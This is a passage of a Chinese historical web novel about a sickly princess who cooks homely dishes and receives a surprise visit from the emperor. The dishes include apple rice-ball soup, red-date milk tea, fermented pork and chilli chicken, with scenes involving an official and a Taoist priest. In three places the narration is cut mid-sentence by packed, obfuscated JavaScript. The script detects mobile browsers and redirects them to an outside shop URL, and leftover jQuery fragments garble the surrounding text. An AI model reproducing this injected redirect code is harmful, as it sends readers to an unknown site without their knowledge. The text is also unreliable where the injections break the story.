但里头，仿佛被注入了某种力量。 冬至，是要吃汤圆的。昨日用糯米粉，加入开水，用筷子搅拌，少量多次。盆里留些干粉不要浇水，慢慢揉进去。成团，搓条，捏出一粒一粒的小剂，放手心里搓圆。 在家，她自幼就看着母亲做。 在梅花坞，是由她指点着卢妈妈揉面，阿草不大会做这些细巧的事，汤圆不是扁了就是长了，总是控制不好力道，反而是一向没有力气的萧鸣笙，搓得又快又圆。 一粒粒雪白的圆子就沿着盘底放好，整整齐齐铺了三大盘。 跨出门槛时，她不知怎么的，就想到昨日搓好的汤圆。 野史笔记里说诸葛亮率军南渡泸水，江面狂风大作，需得以人头祭祀。诸葛亮不忍，便以白面裹肉，充作蛮头。 这样的野史趣闻，茶余饭后博人一笑也罢。 冬至的汤圆，也有说法。这小小的圆子，是添岁用的，一岁便吃一颗。 圆子与蛮头，无甚强关联，或许也是原身留下的意识，或许是经由萧家佛龛的香火一熏，萧鸣笙觉着难过，发自内心的难过。 为萧家人难过，为追随萧家的将士难过。 萧鸣笙坐在堂屋，阿草将换了炭的手炉递过去。 “郡主，你有心事啊？” 萧鸣笙摇摇头，摸着暖热的炉子，手上是暖了，身上还是凉的。“我出去练练箭吧。” 崔大人办事效率极高，说明日送来就明日。幼时练过的弓，足有十来把。 还不是全部。库房里，足有上百把。这些只够目前她练练手。 萧鸣笙举着那张小弓，刚把箭搭上去，生生是教崔大人气笑了。 这把弓——确实是趁手。 就她站的位置，一射，中了。 阿草看得欢呼起来，“没想到大人说的是对的。” “……” 萧家人都在西北，仿佛生来就是会骑马射箭的。所以，袁志也不知该做什么弓，该如何同主子说骑射的事。 崔明端身为天子伴读，经受多位名师教导，也成了老师傅了，教教她这个新手，还是足够的。 萧鸣笙接连射中了几箭，手也不像前日抖得那样厉害。 阿草屁颠屁颠跑去拔箭，台阶处突然是传来一阵喝彩： “好……假以时日，荣安的箭术又该羡煞天下儿郎了。” 58.苹果圆子汤 萧鸣笙抬眼望去，只见乌泱泱一群人，从台阶处上来。 开道的太监里，就有一个熟面孔，往来送赏的福公公。 还有手拿拂尘的太监，笑眯眯的，很是惹眼。 此时，她残留的记忆又发挥了作用—— 首领太监，王聪。 不是琅琊王氏，也不是太原王氏，只是天子赐的姓。 百家姓氏，天子为何独独挑了一个世家的姓氏？自然不是随意一指。 她第一次在异世里生出强烈的恐惧。 萧鸣笙当即跪下迎接圣驾，“臣女萧鸣笙，见过吾皇，吾皇万岁万岁万万岁。” “不是免了你的跪拜礼么？怎么回回都忘了。”说话者，正在盛年，声如洪钟，不怒自威。 萧鸣笙想着该如何答话，一时没起身。 黄土地沙尘飞扬，而她身上是一袭纯白的狐裘，自然也是天家恩赐。此时，多像一只臣服于脚下的山野精灵。 天子稍一示意，首领太监便要去扶。 “咳……” 她的身子实在是不争气，跪下一扑腾，尘气入了口鼻，便咳得不能自已。 阿草拔了箭，也赶紧跑了回来，一下一下给郡主拍背。 萧鸣笙的记忆里，阿草从没跟着进过宫。显然是怕她心直口快说错了话。这会儿，萧鸣笙也是暗暗握着阿草的手，再摇头示意。 阿草福至心灵，将嘴唇抿得紧紧的——郡主不让说话，她就什么也不说。 跟在皇帝身侧的崔大人，今日穿的还是绯衣官袍。前头几次，让人觉着他官威盛大，殊不知还是和煦的。这会儿，在天子仪仗中，更具威严，眼中不掩担忧之色。 冬至，原是休沐三日。但天子要在京郊举行祭天大典。自先帝起，就定在了眠山。 先帝宠信天师张道陵，当今天子虽不再宠信道家人，然而大兴孝道，自然也不能轻易改了祭天的地点。 来往眠山，自然要经过梅花坞。身为天子伴读，他竟不知今日还要来萧家。 萧鸣笙扶了起来，但一直咳嗽不已。 天子才一转身，本是要点御医去诊脉，谁知看到了崔明端难得情绪外露，“此处风大，也不是说话的地，入内让御医诊一诊吧。” 没人提前告知萧家天子移驾，后厨里，也只有一壶热水。 卢妈妈一时手忙脚乱，好歹有袁志帮着搭把手，阿藤过来安他们的心，“嬷嬷照着往日上茶就是，若是圣上问起郡主的病，照实回禀。” “是……” 阿藤跟着把茶端出去。 而萧家堂屋，分明是数九寒冬，诊脉的御医额上冒出了豆大的汗珠。 “怎么？把不出来吗？”皇帝没喝茶，淡声问道。 御医已经请郡主换了另外一只手，当即跪下回话，“回陛下，微臣以为……” “别掉书袋。” “是……郡主咳疾未愈，也有脾胃之故。脾胃乃气血之源，内伤脾胃，百病乃生，私以为可补土养金[1]。” 金木水火土与五脏的关系，肝对木，肝对木，心对火，脾对土，肺对金，肾对水。 这和郑御医给的治疗法子，大致相同。先养脾胃。 陛下没再开口，气氛一度凝滞，众人的心在萧鸣笙声声咳嗽里，沉沉浮浮。 从前御医院的诊断，是天不假年。众人心照不宣，荣安郡主腹部受过重伤，即便治好，也会落下病根，大抵也就两三年的事。更何况，她在孝期，滋补肉汤用不得，实在是棘手。 谁知，一晃六七年过去了，幸亏御医的嘴，跟沾了油一样，比深山老林的路都滑，从不将话说死了。 而今，陛下再令李御医来诊，他虽震惊郡主脉象变化，如何根治，心里也没底。 这差事，原就不是指派给他的。 李御医战战兢兢，也没福公公胆颤。今日，就连是内侍监大人，也不晓得天子会来萧家。 桌上那一盏盏散发着热气的茶，不需吃，懂行的人一闻，就知不是好茶。 今年该给荣安郡主的份例，是叫人挪了。但已经借由这几次送份例给补了上去。萧家怎么又上了这粗茶？陛下若是吃了，一定会发现端倪的。 这罪如何请……他们几个几乎想破了脑袋。 众人心思各异。 皇帝圣意如何，谁也无法揣测。天子只是闲话家常，“前阵子，崔爱卿往宫里送了一道吃食，名为蒲包肉，滋味甚是不同。昨日，户部的荀爱卿也阴差阳错送了一道菜到宫里来，才知竟是你的手艺。原以为你身子好多了，怎料还病得这般严重？” “臣女愚钝，而今也只能在灶房自娱自乐了。咳疾……如御医所言，养养，大抵就好了。” 萧鸣笙攥紧了帕子，手心直冒汗。也没人教她如何在天子面前答话。皇帝不能是崔大人引来的吧？怎么不提前辅导一下呢？ 站在一旁的崔大人属实是冤枉。他的折子，是递了上去。不过，被暂时压在了内阁。 冬至祭天大典就在眼前，这道折子送上去，难保陛下不会顺道去梅花坞。 未免节外生枝，还是等冬至三日休沐后，再将折子放上去。 君心，不可测。 好不容易等着陛下像是要起身，谁知陛下转头一嗅，再和煦问道：“荣安今日又是做了什么好吃的？怎么比御膳呈来的香？” 萧鸣笙起身答话时，不着痕迹瞥了眼崔大人，再斟酌着措辞答道：“臣女惶恐……不过是晨起时口中发苦，想吃一道甜的。正好冬至剩了好些圆子，便胡乱将那汤圆和苹果去煮了，加了些许糖，便是这味……能得陛下垂问，是荣安的福气。嬷嬷，呈一碗来。” 候在最外头的卢妈妈听后，又是喜出望外，崔大人喜爱郡主的吃食，就连是陛下也爱。可真是将军保佑，夫人保佑啊…… 她尚且还愣在原地，王总管也笑呵呵道：“这样奇巧的做法，想来呈来也是考究的，奴才去搭把手。” 不过是为了皇帝的龙体着想。这看不到的东西，怎么能随意就入了天子的口？ 不过半晌的功夫，只见卢妈妈来时，比方才更恭敬，汤是由王总管亲自端的，也当着皇帝的面试了菜。 远比上回福公公试菜时，规矩森严，气势骇人。 萧鸣笙手中的帕子不曾放开，想着该如何开口提醒皇帝这汤圆，或许不如想象中。 谁知，试完了菜，皇帝又吩咐人将之分了两碗，“荣安想吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914571|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的汤，又亲自做的，朕怎能一人独揽？当一同品尝。” 萧鸣笙也不知这是否符合君臣礼仪，试着去看崔大人的面色。 可惜，她坐在下面的位置。主位的人将底下人的神色变化尽收眼底，“瞧瞧，朕今日也是糊涂了，怎么能忘了崔爱卿呢？再分一碗。” 崔明端出来谢恩，而后便也当着众人的面，第一个先尝了，不单是吃了汤圆，还就着调羹的汤，将苹果也吃了，动作迅捷，丝毫不像往日在萧家时心事重重。 “臣失礼了。方才听陛下说起此物美味，竟失了规矩。苹果的甜沁在圆子上，确实比沾糖的味道更好些，又是清新的果香气，实在是难得的巧思。“ 众人暗暗吸气。瞧瞧崔大人这官当的，小太监已经试了菜。可到底是在外头，又是未婚妻萧家，崔大人再试一回，谁不安心呐？ 萧鸣笙接过碗，余光打量着陛下，瞧他还在吹气，便也先于天子抿了一口。 皇帝打量着萧鸣笙与崔明端都吃得香甜，才将那颗在调羹上放凉的汤圆入口。果不其然，甜香与果香交融，确是比早起御膳房呈来的那一碗水煮捞起后的汤圆沾糖好吃。皇帝的口味，不露于人前，便是喜爱，也不会多吃两口。 “这苹果，单吃似乎没这么酸。” 苹果煮后软糯，是有些酸甜。 崔明端赶在萧鸣笙之前请罪道：“臣有罪，臣喜爱吃酸甜之物，喜出望外，竟忘了提醒陛下，请陛下恕罪。” “爱卿有罪，朕岂不也有？”皇帝再抿了口汤，随口问道，“这道汤，是如何做的？” 语气随意自然，萧鸣笙稍稍一愣。耳畔无端响起了道长那句： 你若是要以食摊立足，便该好好守着手上的方子。我不可信，旁人未必可信。 道长当日要说的，不能是陛下？抑或是在场的人吧，而堂堂天子、百官，要她方子做什么？ 萧鸣笙为臣为下，只能是一五一十将方子说了出来。 “回陛下……将……咳……咳……” 她有心说，奈何咳嗽不允许。 这下，她更急了。天子不能以为她是装咳躲了过去吧。这一急，便咳得撕心裂肺。 萧鸣笙捂着帕子，下意识后退了几步。 这碗苹果汤圆，不难做。昨夜搓好的汤圆，除了拜祭用的，余下一些备用。 先将苹果切成小块，放在锅里煮开，直至软糯，再放入汤圆。 这实心的圆子，名为浮元子，熟了就会浮起来。 加入少许红糖，起锅前再撒点枸杞——若是不为好看，枸杞与苹果一起煮开也无事。 奈何她咳得答不了了话，圣驾便该回銮了。 崔明端显然是要添一把火的，“等郡主身子好了，臣再来取了奉给陛下。” “这借花献佛的事，想来崔爱卿没少做。” “是郡主一片孝心，臣自然义不容辞。” * 临走前，皇帝目光又在那片荒地停留，突兀立起的靶子，实在是扎眼。 随手便招了人过去。 这个人——便是内侍省的福公公。 他一脸惶恐，只见天子接过萧鸣笙练习的弓，又抽了根箭搭在上头。 59.红枣牛乳茶 跟来祭天的老臣，一个个想劝，可面面相觑。 区区一个小太监，陛下就算是要处置，也不该脏了手。陛下在杀鸡儆猴。这一劝，自己便往火坑里跳了。 于是乎，向来是有本要奏的大臣，一个个噤若蝉寒。 还是崔明端上前一步，“陛下容禀，这是臣幼时练习骑射的弓。” 闻言，陛下又左右审视一番，“难怪，瞧着还有你崔家的家徽纹饰。朕还道是爱卿家失了窃。” “郡主久病，从前的弓不趁手，臣也是糊涂了，才将幼时的弓取了来……” “你的弓，便是最大那张，都不及往年荣安用的吧？” “是，郡主英姿，臣望尘莫及。” …… 萧鸣笙送客，跟在一侧。看君臣客气打着太极，本来只想静静当个空气，不想也收获了意外之喜。 皇帝话音一转，“朕记得，前些年工部制了一张弓，一直放在太和殿。朕这些年疏于骑射，辜负了良弓，随意赏人，也不定能将弓拉开。等荣安病愈入宫来，亲自去取，朝天射一弓，免得日日放在太和殿里生了尘。” 啊？这话，是要赏她，还是不赏？ 萧鸣笙不能完全体察圣心，慌忙中去寻崔大人的目光，“臣女……” “臣代郡主谢过陛下赏赐。这般说来，臣亦有幸得见御弓，实是三生有幸。” “朕赐荣安的弓，倒叫爱卿捡了便宜。” 天子大笑，众臣欢乐。一行人浩浩荡荡又下山去，说也奇怪，萧鸣笙这会儿又不咳嗽了，在荒地上看了好久。 那一节蜿蜒曲折的台阶，再由上百人踩踏，也不知又要碎几块。 谁知，小径的拐角处，又露出一片绯衣官袍来。 萧鸣笙忽而撇过头去。 崔明端上台阶的速度，似乎是比从前快了许多。 到了近前，反而是有些情怯。 萧鸣笙今日也不再同他说些客套话，“朝廷里，是出了什么了不得的案子么？” “郡主……” “我不是傻子，陛下借我杀鸡儆猴呢。” 她瓮声瓮气，话音里不无委屈与不平。替原身委屈。萧家这些年的境况，并非无人知晓，皇帝也没有被蒙蔽。 今日怎么就忽然要赏赐她，为她撑腰做主。原身守孝六年，她也只是往外送了几样东西，她不信靠蒲包肉与卤大鹅，就能动摇这位天子的心思？ 定是朝局的缘故。 * 不用两天，朝廷便有御史奏明天子，荣安郡主守孝六年，往年为着清静，也不曾修缮过。眼下暂无吉日成婚，郡主或是还要在梅花坞居住，是该修缮一番。 朝中鲜有大臣反对，修缮的日子也极快定了下来。 一群小太监浩浩荡荡来了，甚至还带了图纸，要在门口挖个荷花池。 一同来的，还有崔大人。 来的，也有工部的大人。 崔明端同他客气寒暄几句，并不插手此事，甚至连他递来的图纸也不看。“本官受府尹大人的令，过来看看有无人生事。你我皆有公务在身，自便就是。” 一通话，将工部的大人说得哑口无言，干巴巴笑了两声，再看着崔大人再去拜见郡主。 萧家内院。 今日也飘着一股香气，香浓的奶香味。 崔明端思索片刻，像是市集里会卖的热饮，不过掺着当归独有的香气，实在辨不明白。 “大人……” 萧鸣笙人在风炉前，一面烤火，一面看着炉子里的东西。 二人日渐熟悉，也没再那么多规矩，萧鸣笙没起身，反而是指着空闲的椅子，示意他坐。 风炉搬到了廊下，脚再伸一伸，就能晒到日头。 身上没晒到，却是能借一借炉火。 她膝上没放毛毯，只是个小手炉，像是内廷的样式。 崔明端拱手后坐下，盯着这手炉的时间久了，连萧鸣笙都禁不住问了一声：“这炭，有问题？” 他难得目露一丝迷茫，回神后才摇摇头。 “噗嗤……”萧鸣笙也难得是当着他面轻笑。“我还道是何人吃了熊心豹子胆，还敢这样明目张胆来害我呢……” “郡主……”崔明端低低唤了一声。能想到用炭来害人，已经不算明目张胆了。她也算是提醒了自己。 明日就找个大夫过来，将萧家里里外外查一遍。 眼瞅着人又沉思不语，萧鸣笙盘着炉子，遥望山林，不无遗憾告诉他：“这两日道长没来。” 昨日，她还预备了一碗汤圆，也没吃。 “家父是去修道了……”崔明端学着父亲的语气，到底不如父亲洒脱。“此事已了，这些日子或是回了眠山清修，郡主宽心养病就是，不必为这些琐事烦忧。” 萧鸣笙笑笑不说话，便就着锅里的东西闲话家常，“这两日，内侍省送了些牛乳过来，我一人也喝不完，便煮了红枣牛乳茶，大人往来辛苦，不如也吃一碗。” 风炉上，一个体型颇大的陶罐源源不断冒着香浓的热气。 除去牛乳的香气，那股甜香来自红枣。崔明端了然。 等分了一碗，再细瞧碗里头的枣子，像是撕开的，边缘不像是用剪子剪开的。 “听说金克木，不宜用剪子，所以用手撕的，不甚规整。” 萧鸣笙瞧他舀在调羹上看了半晌，也纳闷。崔大人别是个强迫症吧。 这样的解释，崔明端喉头发痒，着实想轻咳缓解一番。“臣愚钝，若非郡主解释，只怕连田地那老牛也不如了。” 今日的崔大人，还会讲冷笑话了。 萧鸣笙抬头看着他，就着他的话，很是认真打量一番，这话说得不严谨。崔大人即便是牛，也不是老牛。 大抵是她望得久了，正主的面皮也不知几时红了起来。 “不知是如何煮的？”崔明端抿了一口，如料想中香浓，有红枣，也漂着几粒枸杞，不甜，很合他的口味。 “做来也简单，红枣和桂圆撕开去核，加入枸杞，水三碗煮开，再加入半锅牛乳和红糖，煮开搅拌均匀。若要更香浓些，牛乳份量可多一些。” 萧鸣笙说得仔细，崔明端颔首，耳根的燥热一点也没缓解，仿佛为窃知她的方子而羞赧。 谁知，对面的人又不无惋惜道：“可惜了，今日道长也没来，我特意跟卢妈妈要了一个大锅呢……” “……” 崔明端心头郁郁，口中的牛乳茶，似乎没那般香了。 “库房里还有一节新的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924389|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹筒。道长吃不够带走也是可的。” 佳人又在伤口撒了一大把盐。崔明端能如何，将这碗八分满的奶茶一口气吃完，再厚颜将空碗递了过去，“见笑了。” “……” 这倒不是见笑不见笑的事。萧鸣笙抿了个笑，似乎也摸出了崔家六郎的秉性。 瞧着是铁面无私，于饮食之道不上心。方才，若是她没领会错，这或许就是—— 争宠。 呦，没想到铁面无私的崔大人也会争宠呐。 思及此，萧鸣笙觉着自己的病，都好了大半，替这位崔家六郎挽一挽面子，“这竹筒放久了，再放牛乳茶也不好，怕是会串了味。” “郡主说的是，臣下回带个水囊过来。” “……” 不是，崔大人你玩真的呐。 萧鸣笙笑意盈盈望着他，再说起了正事，“昨日，荀二郎来访，说起一事。城中有一位能治头疾的医者……” 冬至日，听说的时候，萧鸣笙心里是直打鼓的。古代医术高超者，如华佗同曹操说开颅治病，即便是眼下，当真是有一位名医，也提出这个治疗方案。她也不放心给阿草用。 不说则罢，一说崔明端也烦忧。“昨日，我已去侯府拜见过，侯爷承郡主的情，愿意派府医走一趟。” “但是……”萧鸣笙先替他接了下去。 “但是，侯爷患的不是头疾。” 外头传扬多年，忠勇侯得了头疾，一年有七八个月头疾发作，没法下榻。 萧鸣笙有隐隐的猜测，瞧了眼崔明端，但见他眉头微蹙，多有不忍。 “侯爷，伤了腿。”这是她说的。 能让个戎马一生的将军接受京中无稽流言的，大抵是真相比流言更可怖。 “嗯，府医擅长针灸。” 二人对坐，阿草也不知是去了何处，都没听到她的憨笑。 萧鸣笙心事重重送走人，崔明端亦不遑多让。“纵是京师没有，天下名医何其多，但请郡主勿要为此忧心才是。” 门口的荒地，不过半天的功夫，荷花池已经初具雏形。 也不知工部是如何存的档，这月池的形状与位置，再与改造的坡道遥相连，浑然一体。 这是崔三爷当初的手稿。 林大人复原过，那份简略的图纸就存在崔明端的书房里。天底下知晓这事的人，不多。 也不知是哪位大人授意用的。 上午挖月池，午后运来了竹子，破开去除竹节，引水进了池子。 为了不与萧家原来的水道争水，那些人还上山重新引了一处山泉来。 不过一日功夫，这月池，便成了。 光是靶子，袁志先扎后立，就用了小半日的功夫。 而今，萧家庭外翻天覆地的变幻，只需一日。 临走前，工部的大人恭恭敬敬将图纸奉上，请袁志验收。“下官亲自看着，底下的人也都是照着图纸建的，若有什么出入或是郡主另外想添置什么，也请袁侍卫相告。” 袁志绷着脸让他稍候。 萧鸣笙拿着图纸，暂没看出什么不妥来，请袁志去问是否有多余的副本放这儿。 施工图纸，可是个要紧的物证，自己万万不能再当个糊涂鬼。 60.糟肉与口水鸡 日暮，山林又往外散着幽幽寒气。隐匿了三日的人，又现身了。 宽大的道袍被风吹得鼓了起来，道长也没切换别的模式，对着门口的池塘轻嗤：“且看看，这便是没脑子。我的月池是要与房屋相映衬，这屋子不是我画的屋子，还硬要将月池套上来，哼……” 萧鸣笙则是笑眯眯听道长吐槽，等他停了，才轻声问：“吃饭么？道长。” “……吃。” 被礼部和工部的人气着了，也是要吃饭的。 今日，萧家预备的夕食，难得丰盛起来。 时下已过了冬至。阿草在后院里翻着土块，难得翻到了一条蚯蚓，弯曲着身子，仿佛是在冬眠。 一候蚯蚓结。 萧鸣笙也跟着看了半晌，古人诚不我欺。天凉了，她也越发记得乡愁的味道。 跟着卢妈妈在库房里翻了翻，竟也找出了几包稀罕的东西。 “郡主，这个颜色红红的，好看。” 萧鸣笙转头去看阿草像孩童一样探头探脑，忽而有了个主意，“袁志呢？你让他进城去看看，看看有没有剩下的猪头，若是没有，便同人预定一个。” “猪头？咦……”阿草做了个痛苦表情看，直把萧鸣笙看乐了。 连阿草也嫌弃的东西。 “那你吃猪脚么？做来也好吃。不过家里的坛子可能没那么大，一次大约也吃不了太多东西。” “郡主，那可以把东西给那三个嘿嘿。” “嘿嘿？” “就是嘿嘿……嘿嘿……嘿嘿……” 说的正是游手好闲三人组，这两日圣驾来了，他们反而是不敢来了。这食摊计划，不能就此崩了吧。 萧鸣笙拿了一包红曲往外走，预备去灶房煮粥。 阿草跟着，帮着淘米，又纳闷：“郡主，那猪头……是要像兔脑壳一样吗？但是，我觉得它毛毛很多，味道也不好。要是拿去红烧，也怪费劲的。” “不红烧，我换个法子做。吃来有一丝丝甜，你喜欢吃甜的，是不是？” “是……嘻嘻，只要是郡主做的，我一定会喜欢吃的。” …… 萧鸣笙要做的，是一道糟肉。 不过与传统闽菜不同的是，酒糟无需封坛发酵。她曾听一位福建友人说过，这酒糟肉，堪称是童年噩梦。 但她家祖上，与福建也大有渊源，也有一道糟肉。这是她从小吃到大的美食，周遭同龄人也是如此。有一位女性友人结婚后，甚至因为过于怀念，终于在第二年过年的时候，自己动手做了一回。 “和我妈做的差不多，真的，我都没想到糟肉这么简单。”这是那位好友的原话。 萧鸣笙想的是，卤鹅实在是费时费力，若是能用一道糟肉来分一分市场，能轻便些。 做糟肉，第一步就是先煮粥，不用什么在意什么米，就是日常家里煮粥用的普通大米，煮出浓稠些的白粥，在高压锅——这里没有高压锅。 萧鸣笙看着日渐丰富的灶房，也露了笑，没高压锅，但是有厨子的眼。 煮到沸腾米花刚开时——若是高压锅，便是那排气阀一动，便关火，再等气消。 静待米粥放凉的功夫，把猪肉洗干净，再切成约莫是两寸宽，六七寸长的肉条，下锅煮，只需加少许的盐，添些味道。 此时，她需要一个宽肚的坛子来装那放凉的米粥。不消说，卢妈妈的百宝库房一定有。 方才已经洗干净，在廊下晾干。 阿草搬回来时，卢妈妈又是一阵叮嘱，“你小心些走，台阶台阶……别把郡主的坛子摔了……” “我晓得，卢妈妈你快去清点东西玩吧。” 阿草脚步快，将坛子放好，也听郡主的，米粥倒进去，也看着郡主直接将红曲米放入米粥里，搅拌开还是一粒红一粒白，谁也不挨谁，看着像是某道夹生的粥。 若是卢妈妈做的，阿草此时已经要笑出声了，“郡主……这个红……” “红曲。” “嗯，红米，是不是忘了煮一煮了？” “不用，就直接放，你去把盐罐子取来。” 萧鸣笙也往里头放了一些盐，份量无需多，少量多次，这次要是淡了明日还可补救。 最后一步，直接将煮好的肉条放进去，交给时间去发酵。 “就这样吗？” 预防老鼠掉进去，萧鸣笙又找了个透气的竹筛盖上。家里能用的那些，竹篾都太紧实了。 正好，工部运来的竹子，似乎是多了些，可以再修篱笆，巴巴来问袁志是否要留下。 袁志冷眼一看，哪里是多的，不过就是要留下，这些人，脑子和嘴也不知是怎么长的？ 今日，篱笆还没修，竹子便派上了大用场。 袁志要刀将竹子破开，再削出细长的竹片，由着阿草编出几个网眼稀疏的筛子。 大小都是比照着家里的坛口来的。 她乐于做事，这样便同大家是一样的。好不容易等郡主走了，阿草小声问了袁志：“大哥，郡主最近一直在给我找大夫吗？” 袁志动作一顿，险些划伤了食指。 “我的头……”阿草也苦恼，“我知道里面装了很多东西，要用的时候，就是拿不出来……” 萧鸣笙回去装了一篮子板栗出来，正听到了阿草的话，袁志也看到了她。她神色如常走过去，“拿不出来也不要紧。你看，从前我的箭术多好，是不是也像你一样拿不出来？连崔大人都送了他初学的弓箭过来，照从前，我一把就能将他的弓给折了……” “嘻嘻……郡主，我就知道。” 大抵是这样的类比，阿草一下子就懂了，忽而眨着大眼睛。 萧鸣笙也无奈。初来那几日，从阿草的只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941218|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言片语里，能推测出原身不待见崔家。 也不知是西北骨子里的自由不满这桩赐婚，还是旁的原因。 萧家人正剥着栗子，一部分，是萧鸣笙用来哄阿草的糖炒栗子。 一部分，则是要与鸡相配。 而卢妈妈则是在一旁，不忘初心问了一声，“郡主，这能煮粥吗？” “……能。” 栗子与粥，能配伍。 萧鸣笙再看一看卢妈妈欣喜的面容，忽而也跟着笑了笑。 “不如午食就做一道栗子鸡粥吧。省下的柴火，炒栗子给阿草吃。这才是勤俭持家的法子。” …… 送来的鸡，是宰杀干净的整鸡，萧鸣笙让阿草剁开时，卢妈妈在一旁看着，要将肉全部起出来给郡主煮粥吃。 一整只鸡都放进去煮粥，也不太现实。萧鸣笙口味偏清淡，但是得照顾袁志和阿草。 大鸡腿和鸡胸部位，大块切开，用姜葱料酒在锅里小火慢煮一刻钟，捞出过一过自山上而来的山泉，急速锁住鸡肉的水分，也能让肉更加紧实，切块备用。 最最难得的，大抵是这胡瓜。 内侍省送东西的，还是福公公。前两日被天子用弓箭一指，他早已是死了上百回。 今日送的东西，无一不精细。 “冬日里，怎么有胡瓜？”没旁人在，阿草心直口快问了一声。 只见福公公的腰是更弯了，“回姑娘话，这胡瓜，是温汤监新进的。那儿有温泉，也盖了房屋，温房里暖和，胡瓜已经是到了季节，都争先长了出来。” 反季节的胡瓜，原该是到了初夏才有，珍贵异常。 萧鸣笙就是有心想生啃一根，也得掂量掂量时下节气。数九寒冬，这一根生冷的胡瓜下肚，前儿吃的苦药都白吃了。 不能大口大口嚼着吃，但切成丝，放在口水鸡下面垫垫，好看又解腻。 切丝，阿草不用看也能切得又细又均匀，铺在盘子上，再摆上鸡肉。 萧鸣笙预备了两个调料碗，一碗放上姜葱末，用热油浇透。一碗则要复杂些许，少许的盐、酱油、糖、香油、花椒油、油泼辣子、芝麻酱、陈醋和熟芝麻拌匀。分别浇在鸡肉上头，红通通的口水鸡便成了，香气扑鼻，令人胃口大开。 萧家开饭早些，本是要开饭，正巧道长来了。 左右那粥的份量是多的。 有了道长在，阿草他们便没同桌吃着。 萧家的正屋，云来道长低头吃着热乎乎的栗子粥，并不多话。 萧鸣笙怕烫，反而是在等粥凉。“这道鸡肉，底下还有胡瓜丝。道长多吃几块。” 云来道长是崔家子弟，对冬日有胡瓜也并不惊讶，似笑非笑道：“上一回吃，还是在炎炎夏日。不想皑皑冬雪也有胡瓜可食，可见国富民安。” “……道长，我能说几句话么？” 61.糟猪耳朵 “贫道又没把你口封住。” “……我想着，虽然道法自然，但是，或许我们能克制些。” “克制？君子慎独，那是儒家的教诲。儒家经典又关我道家什么事呢？” “……” 与古人论经，是萧鸣笙做过的傻事，与个怼天怼地的道长论，这是最傻的。她闭口不言，去吃栗子鸡粥。 刚吃出味道来，只听道长评价道：“栗子软糯香甜，白米吸足了鸡汤，好吃得很 ！” 萧鸣笙暗自发笑。来自傲娇道长的找补。这夸赞，也硬邦邦的。 她不断盘算着：崔大人似乎才二十有几，道长的年纪……还没到知天命。然而那梳得齐整的混元髻也藏不住两鬓白霜。 “看什么？” “……白发。” “哼！” 虽然已经修了道，静了心——道长这心，明眼瞧着就不太安静。 “咳咳……我失言了……” 萧鸣笙一咳，反而是让振振有词的道长败下阵。他也将预备好的说辞缓缓相告，“如今在吃什么药？” “就是道长给的丸药。” “宫里给的呢？” “……” 仿佛是怕苦没吃药被抓包，萧鸣笙攥着帕子，眼珠子一骨碌，云来道长便笑道：“你这样信我，倒是教我汗颜了。我这医术，原本是为了六郎学的，谁知上天垂怜，小儿自幼康健，为了给他积福，城中小儿的病，我都竭力去看。” “那道长往年在城里开义诊的摊子么？” “观里有。” 萧鸣笙默默颔首，云来道长又接道：“如今，我也不好躲懒，今夜就要回观里去了……” “往后还来吃饭么？” 萧鸣笙的情绪尚可，反而是把见过风风雨雨的人问懵了。满腔的愁绪也化作了笑谈，“吃，你连胡瓜都有了，往后指不定还有什么好东西呢，路过就来吃。” ——就该好好吃一顿，好叫这丫头知晓，不要平白无故招人吃饭。 临走前，萧鸣笙装了满满一竹筒的糖炒栗子，“放在温碗里，好是好，就是怕磕了碰了，还不如竹筒简便。道长带着路上吃吧。” 栗子还是温热，散发着幽幽的甜香与果仁的香气。他没再推辞，叹道：“这个好，有市集的烟火气。很像我少年时从学堂偷跑去西市买的栗子。” 也像他去市集给小儿看诊时随手买来逗六郎的栗子。 萧鸣笙也笑眯眯将糖炒栗子的方子说出来，“想来我便是与市集上的摊贩想一处去了。将栗子清洗干净，用锯齿刀在背后划一刀，加水没过表面，这样就得到了熟透的水煮栗子。” “在碗里放一些油，再放糖，用杂糖就行。倒进锅里，把栗子翻炒仔细，务必每一颗都沾上糖。” 阿草也喜欢这位凶巴巴的道长，瞧郡主说久了要咳嗽，便将剩下的步骤也说了出来。 “这方子好，”云来道长也借此打量了阿草，“你这丫头，也好。” 说郡主的方子好，阿草与有荣焉，小腰一挺，好不得意。但说她好，阿草反而是不好意思低下头，小声咕哝：“将军怎么也和将军一样，爱打趣人。” “那可不是么？” 道长也没纠正她的称呼——叫道长，萧鸣笙也与有荣焉，“自然是好的。” ——这是株能开洁白如珠的花，不是道旁的野草。 “道长的观里有茉莉花么？” “似乎是有几棵。你若是要，下回六郎来，便叫他去挖几棵。” 